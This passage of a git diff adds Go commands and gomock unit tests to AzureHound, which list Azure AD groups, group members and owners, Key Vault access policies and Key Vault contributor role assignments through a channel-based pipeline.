{ + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), groups) { + if group, ok := result.(AzureWrapper).Data.(models.Group); !ok { + log.Error(fmt.Errorf("failed group type assertion"), "unable to continue enumerating group members", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, group.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + data = models.GroupMembers{ + GroupId: id, + } + count = 0 + ) + for item := range client.ListAzureADGroupMembers(ctx, id, params) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing members for this group", "groupId", id) + } else { + groupMember := models.GroupMember{ + Member: item.Ok, + GroupId: id, + } + log.V(2).Info("found group member", "groupMember", groupMember) + count++ + data.Members = append(data.Members, groupMember) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZGroupMember, + Data: data, + }); !ok { + return + } + log.V(1).Info("finished listing group memberships", "groupId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing members for all groups") + }() + + return out +} diff --git a/cmd/list-group-members_test.go b/cmd/list-group-members_test.go new file mode 100644 index 0000000..495d28f --- /dev/null +++ b/cmd/list-group-members_test.go @@ -0,0 +1,102 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "encoding/json" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListGroupMembers(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockGroupsChannel := make(chan interface{}) + mockGroupMemberChannel := make(chan client.AzureResult[json.RawMessage]) + mockGroupMemberChannel2 := make(chan client.AzureResult[json.RawMessage]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADGroupMembers(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockGroupMemberChannel).Times(1) + mockClient.EXPECT().ListAzureADGroupMembers(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockGroupMemberChannel2).Times(1) + channel := listGroupMembers(ctx, mockClient, mockGroupsChannel) + + go func() { + defer close(mockGroupsChannel) + mockGroupsChannel <- AzureWrapper{ + Data: models.Group{}, + } + mockGroupsChannel <- AzureWrapper{ + Data: models.Group{}, + } + }() + go func() { + defer close(mockGroupMemberChannel) + mockGroupMemberChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockGroupMemberChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + }() + go func() { + defer close(mockGroupMemberChannel2) + mockGroupMemberChannel2 <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockGroupMemberChannel2 <- client.AzureResult[json.RawMessage]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.GroupMembers); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.GroupMembers{}) + } else if len(data.Members) != 2 { + t.Errorf("got %v, want %v", len(data.Members), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.GroupMembers); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.GroupMembers{}) + } else if len(data.Members) != 1 { + t.Errorf("got %v, want %v", len(data.Members), 1) + } +} diff --git a/cmd/list-group-owners.go b/cmd/list-group-owners.go new file mode 100644 index 0000000..2db015b --- /dev/null +++ b/cmd/list-group-owners.go @@ -0,0 +1,132 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listGroupOwnersCmd) +} + +var listGroupOwnersCmd = &cobra.Command{ + Use: "group-owners", + Long: "Lists Azure AD Group Owners", + Run: listGroupOwnersCmdImpl, + SilenceUsage: true, +} + +func listGroupOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure group owners...") + start := time.Now() + stream := listGroupOwners(ctx, azClient, listGroups(ctx, azClient)) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listGroupOwners(ctx context.Context, client client.AzureClient, groups <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + params = query.GraphParams{} + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), groups) { + if group, ok := result.(AzureWrapper).Data.(models.Group); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating group owners", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, group.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + groupOwners = models.GroupOwners{ + GroupId: id, + } + count = 0 + ) + for item := range client.ListAzureADGroupOwners(ctx, id, params) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing owners for this group", "groupId", id) + } else { + groupOwner := models.GroupOwner{ + Owner: item.Ok, + GroupId: id, + } + log.V(2).Info("found group owner", "groupOwner", groupOwner) + count++ + groupOwners.Owners = append(groupOwners.Owners, groupOwner) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZGroupOwner, + Data: groupOwners, + }); !ok { + return + } + log.V(1).Info("finished listing group owners", "groupId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all group owners") + }() + + return out +} diff --git a/cmd/list-group-owners_test.go b/cmd/list-group-owners_test.go new file mode 100644 index 0000000..57e8536 --- /dev/null +++ b/cmd/list-group-owners_test.go @@ -0,0 +1,102 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "encoding/json" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListGroupOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockGroupsChannel := make(chan interface{}) + mockGroupOwnerChannel := make(chan client.AzureResult[json.RawMessage]) + mockGroupOwnerChannel2 := make(chan client.AzureResult[json.RawMessage]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADGroupOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockGroupOwnerChannel).Times(1) + mockClient.EXPECT().ListAzureADGroupOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockGroupOwnerChannel2).Times(1) + channel := listGroupOwners(ctx, mockClient, mockGroupsChannel) + + go func() { + defer close(mockGroupsChannel) + mockGroupsChannel <- AzureWrapper{ + Data: models.Group{}, + } + mockGroupsChannel <- AzureWrapper{ + Data: models.Group{}, + } + }() + go func() { + defer close(mockGroupOwnerChannel) + mockGroupOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockGroupOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + }() + go func() { + defer close(mockGroupOwnerChannel2) + mockGroupOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockGroupOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.GroupOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.GroupOwners{}) + } else if len(data.Owners) != 2 { + t.Errorf("got %v, want %v", len(data.Owners), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.GroupOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.GroupOwners{}) + } else if len(data.Owners) != 1 { + t.Errorf("got %v, want %v", len(data.Owners), 2) + } +} diff --git a/cmd/list-groups.go b/cmd/list-groups.go new file mode 100644 index 0000000..0031d39 --- /dev/null +++ b/cmd/list-groups.go @@ -0,0 +1,92 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listGroupsCmd) +} + +var listGroupsCmd = &cobra.Command{ + Use: "groups", + Long: "Lists Azure Active Directory Groups", + Run: listGroupsCmdImpl, + SilenceUsage: true, +} + +func listGroupsCmdImpl(cmd *cobra.Command, _ []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory groups...") + start := time.Now() + stream := listGroups(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listGroups(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureADGroups(ctx, query.GraphParams{Filter: "securityEnabled eq true"}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing groups") + return + } else { + log.V(2).Info("found group", "group", item) + count++ + group := models.Group{ + Group: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZGroup, + Data: group, + }); !ok { + return + } + } + } + log.Info("finished listing all groups", "count", count) + }() + + return out +} diff --git a/cmd/list-groups_test.go b/cmd/list-groups_test.go new file mode 100644 index 0000000..175a74e --- /dev/null +++ b/cmd/list-groups_test.go @@ -0,0 +1,70 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListGroups(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.Group]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADGroups(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.Group]{ + Ok: azure.Group{}, + } + mockChannel <- client.AzureResult[azure.Group]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.Group]{ + Ok: azure.Group{}, + } + }() + + channel := listGroups(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-key-vault-access-policies.go b/cmd/list-key-vault-access-policies.go new file mode 100644 index 0000000..31c8d79 --- /dev/null +++ b/cmd/list-key-vault-access-policies.go @@ -0,0 +1,130 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + kinds "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +var listKeyVaultAccessPoliciesCmd = &cobra.Command{ + Use: "key-vault-access-policies", + Long: "Lists Azure Key Vault Access Policies", + Run: listKeyVaultAccessPoliciesCmdImpl, + SilenceUsage: true, +} + +func init() { + config.Init(listKeyVaultAccessPoliciesCmd, []config.Config{config.KeyVaultAccessTypes}) + listRootCmd.AddCommand(listKeyVaultAccessPoliciesCmd) +} + +func listKeyVaultAccessPoliciesCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vault access policies...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + if filters, ok := config.KeyVaultAccessTypes.Value().([]enums.KeyVaultAccessType); !ok { + exit(fmt.Errorf("filter failed type assertion")) + } else { + if len(filters) > 0 { + log.Info("applying access type filters", "filters", filters) + } + stream := listKeyVaultAccessPolicies(ctx, azClient, listKeyVaults(ctx, azClient, subscriptions), filters) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } + panicrecovery.HandleBubbledPanic(ctx, stop, log) +} + +func listKeyVaultAccessPolicies(ctx context.Context, client client.AzureClient, keyVaults <-chan interface{}, filters []enums.KeyVaultAccessType) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + + for result := range pipeline.OrDone(ctx.Done(), keyVaults) { + if keyVault, ok := result.(AzureWrapper).Data.(models.KeyVault); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating key vault access policies", "result", result) + return + } else { + for _, policy := range keyVault.Properties.AccessPolicies { + if len(filters) == 0 { + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: kinds.KindAZKeyVaultAccessPolicy, + Data: models.KeyVaultAccessPolicy{ + KeyVaultId: keyVault.Id, + AccessPolicyEntry: policy, + }, + }); !ok { + return + } + } else { + for _, filter := range filters { + permissions := func() []string { + switch filter { + case enums.GetCerts: + return policy.Permissions.Certificates + case enums.GetKeys: + return policy.Permissions.Keys + case enums.GetSecrets: + return policy.Permissions.Secrets + default: + log.Error(fmt.Errorf("unsupported key vault access type: %s", filter), "unable to apply key vault access policy filter") + return []string{} + } + }() + if contains(permissions, "Get") { + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: kinds.KindAZKeyVaultAccessPolicy, + Data: models.KeyVaultAccessPolicy{ + KeyVaultId: keyVault.Id, + AccessPolicyEntry: policy, + }, + }); !ok { + return + } + break + } + } + } + } + } + } + }() + + return out +} diff --git a/cmd/list-key-vault-access-policies_test.go b/cmd/list-key-vault-access-policies_test.go new file mode 100644 index 0000000..877fe1f --- /dev/null +++ b/cmd/list-key-vault-access-policies_test.go @@ -0,0 +1,79 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaultAccessPolicies(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockKeyVaultsChannel := make(chan interface{}) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listKeyVaultAccessPolicies(ctx, mockClient, mockKeyVaultsChannel, nil) + + go func() { + defer close(mockKeyVaultsChannel) + mockKeyVaultsChannel <- AzureWrapper{ + Data: models.KeyVault{ + KeyVault: azure.KeyVault{ + Properties: azure.VaultProperties{ + AccessPolicies: []azure.AccessPolicyEntry{ + { + Permissions: azure.KeyVaultPermissions{ + Certificates: []string{"Get"}, + }, + }, + }, + }, + }, + }, + } + mockKeyVaultsChannel <- AzureWrapper{ + Data: models.KeyVault{}, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.KeyVaultAccessPolicy); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.KeyVaultAccessPolicy{}) + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-key-vault-contributors.go b/cmd/list-key-vault-contributors.go new file mode 100644 index 0000000..8bea518 --- /dev/null +++ b/cmd/list-key-vault-contributors.go @@ -0,0 +1,83 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listKeyVaultContributorsCmd) +} + +var listKeyVaultContributorsCmd = &cobra.Command{ + Use: "key-vault-contributors", + Long: "Lists Azure Key Vault Contributors", + Run: listKeyVaultContributorsCmdImpl, + SilenceUsage: true, +} + +func listKeyVaultContributorsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vault contributors...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + keyVaults := listKeyVaults(ctx, azClient, subscriptions) + kvRoleAssignments := listKeyVaultRoleAssignments(ctx, azClient, keyVaults) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listKeyVaultContributors(ctx, kvRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listKeyVaultContributors( + ctx context.Context, + kvRoleAssignments <-chan azureWrapper[models.KeyVaultRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), kvRoleAssignments, func(ra azureWrapper[models.KeyVaultRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, kvRoleAssignmentFilter(constants.ContributorRoleID)) + + contributors := internal.Map(filteredAssignments, func(ra models.KeyVaultRoleAssignment) models.KeyVaultContributor { + return models.KeyVaultContributor{ + Contributor: ra.RoleAssignment, + KeyVaultId: ra.KeyVaultId, + } + }) + + return NewAzureWrapper(enums.KindAZKeyVaultContributor, models.KeyVaultContributors{ + KeyVaultId: ra.Data.KeyVaultId, + Contributors: contributors, + }) + }) +} diff --git a/cmd/list-key-vault-contributors_test.go b/cmd/list-key-vault-contributors_test.go new file mode 100644 index 0000000..d02586b --- /dev/null +++ b/cmd/list-key-vault-contributors_test.go @@ -0,0 +1,73 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaultContributors(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.KeyVaultRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listKeyVaultContributors(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper(enums.KindAZKeyVaultRoleAssignment, models.KeyVaultRoleAssignments{ + KeyVaultId: "foo", + RoleAssignments: []models.KeyVaultRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.ContributorRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.ContributorRoleID, + }, + }, + }, + }, + }) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-key-vault-kvcontributors.go b/cmd/list-key-vault-kvcontributors.go new file mode 100644 index 0000000..1e8a864 --- /dev/null +++ b/cmd/list-key-vault-kvcontributors.go @@ -0,0 +1,83 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listKeyVaultKVContributorsCmd) +} + +var listKeyVaultKVContributorsCmd = &cobra.Command{ + Use: "key-vault-kvcontributors", + Long: "Lists Azure Key Vault KVContributors", + Run: listKeyVaultKVContributorsCmdImpl, + SilenceUsage: true, +} + +func listKeyVaultKVContributorsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vault kvcontributors...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + keyVaults := listKeyVaults(ctx, azClient, subscriptions) + kvRoleAssignments := listKeyVaultRoleAssignments(ctx, azClient, keyVaults) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listKeyVaultKVContributors(ctx, kvRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listKeyVaultKVContributors( + ctx context.Context, + kvRoleAssignments <-chan azureWrapper[models.KeyVaultRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), kvRoleAssignments, func(ra azureWrapper[models.KeyVaultRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, kvRoleAssignmentFilter(constants.KeyVaultContributorRoleID)) + + kvContributors := internal.Map(filteredAssignments, func(ra models.KeyVaultRoleAssignment) models.KeyVaultKVContributor { + return models.KeyVaultKVContributor{ + KVContributor: ra.RoleAssignment, + KeyVaultId: ra.KeyVaultId, + } + }) + + return NewAzureWrapper(enums.KindAZKeyVaultKVContributor, models.KeyVaultKVContributors{ + KeyVaultId: ra.Data.KeyVaultId, + KVContributors: kvContributors, + }) + }) +} diff --git a/cmd/list-key-vault-kvcontributors_test.go b/cmd/list-key-vault-kvcontributors_test.go new file mode 100644 index 0000000..cd345d9 